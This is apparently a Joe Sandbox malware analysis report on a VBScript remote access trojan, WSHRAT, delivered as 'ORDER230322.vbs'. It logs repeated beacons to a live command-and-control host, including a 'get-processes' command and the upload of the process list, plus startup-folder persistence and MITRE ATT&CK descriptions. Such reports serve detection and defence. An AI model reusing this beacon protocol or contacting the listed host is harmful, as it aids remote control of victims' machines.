Mar 22, 2023 11:39:50.397216082 CET	134	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49719	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:39:56.012176991 CET	135	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49720	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:40:01.578388929 CET	136	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49721	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:40:08.630285025 CET	136	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49722	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:40:14.190562010 CET	137	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49723	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:40:19.769701004 CET	138	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49724	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:40:25.447386026 CET	139	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49725	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:40:31.131057024 CET	140	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49726	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:40:36.721931934 CET	140	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49727	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:40:42.430466890 CET	141	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49701	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:38:10.473997116 CET	105	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49728	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:40:47.984992981 CET	142	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49729	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:40:53.627793074 CET	143	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49730	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:41:00.836848974 CET	144	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49731	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:41:06.386063099 CET	144	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.3	49732	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:41:12.041835070 CET	145	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
Mar 22, 2023 11:41:12.574285984 CET	146	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49702	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:38:16.269118071 CET	106	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49703	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:38:21.870237112 CET	107	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
Mar 22, 2023 11:38:22.107378006 CET	107	IN	HTTP/1.1 200 OK Content-Length: 13 Connection: close Data Raw: 67 65 74 2d 70 72 6f 63 65 73 73 65 73 Data Ascii: get-processes

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49704	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:38:22.632777929 CET	108	OUT	POST /is-processes HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 4374 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49705	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:38:31.858319998 CET	123	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49706	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:38:37.956187010 CET	124	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49707	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:38:44.353442907 CET	124	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Target ID:	0
Start time:	11:37:07
Start date:	22/03/2023
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER230322.vbs"
Imagebase:	0x7ff601d70000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	10
Start time:	11:37:28
Start date:	22/03/2023
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs
Imagebase:	0x7ff601d70000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	11
Start time:	11:37:41
Start date:	22/03/2023
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs
Imagebase:	0x7ff601d70000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	12
Start time:	11:37:51
Start date:	22/03/2023
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs
Imagebase:	0x7ff651c80000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: wscript.exePID: 4024, Parent PID: 3452

General

Target ID:	13
Start time:	11:38:00
Start date:	22/03/2023
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ORDER230322.vbs"
Imagebase:	0x7ff601d70000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	14
Start time:	11:38:16
Start date:	22/03/2023
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs
Imagebase:	0x7ff601d70000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.
Tactics:	Command and Control
Data Sources:	Network intrusion detection system, Network protocol analysis, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ORDER230322.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: WSHRAT

Yara Signatures

PCAP (Network Traffic)

Other

Sigma Signatures

Data Obfuscation

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\ORDER230322.vbs

C:\Users\user\AppData\Local\Temp\ORDER230322.vbs:Zone.Identifier

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ORDER230322.vbs

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ORDER230322.vbs:Zone.Identifier

Static File Info

General

File Icon

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Windows Analysis Report
ORDER230322.vbs